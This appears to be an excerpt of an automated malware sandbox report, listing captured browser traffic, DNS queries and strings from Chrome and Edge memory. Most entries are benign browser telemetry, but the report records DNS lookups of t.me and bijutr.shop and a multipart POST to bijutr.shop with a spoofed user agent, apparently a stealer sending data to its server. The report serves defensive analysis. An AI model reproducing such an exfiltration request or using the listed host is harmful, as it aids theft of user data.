Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1735284048285&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5f47d732c1f847c1915dbc05f2d1c1c0&activityId=5f47d732c1f847c1915dbc05f2d1c1c0&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1735284048287&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2BA4C89BEAD6644B32BDDDF9EBCF652E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1735284048287&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2BA4C89BEAD6644B32BDDDF9EBCF652E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=14Ebfe52359236eb26440091735284049; XID=14Ebfe52359236eb26440091735284049
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1735284048285&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5f47d732c1f847c1915dbc05f2d1c1c0&activityId=5f47d732c1f847c1915dbc05f2d1c1c0&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=88BD196131DF4F6484A57ED6AE89D619&MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1; SM=T

Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.16.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.16.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.16.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2322774223.00001E90000DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: /www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2322774223.00001E90000DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000003.2244654841.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2244298965.00001E9000FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2244392508.00001E9000F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000000B.00000003.2244654841.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2244298965.00001E9000FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2244392508.00001E9000F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000000B.00000002.2322774223.00001E90000DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ht/www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326962003.00001E9000CA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2329273254.00001E90015F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327305685.00001E9000D64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2329273254.00001E90015F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327098835.00001E9000D08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlbag equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlncmN? equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ty" equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: bijutr.shop
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----16FKXLF3EKF37YUAS0RIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: bijutr.shopContent-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
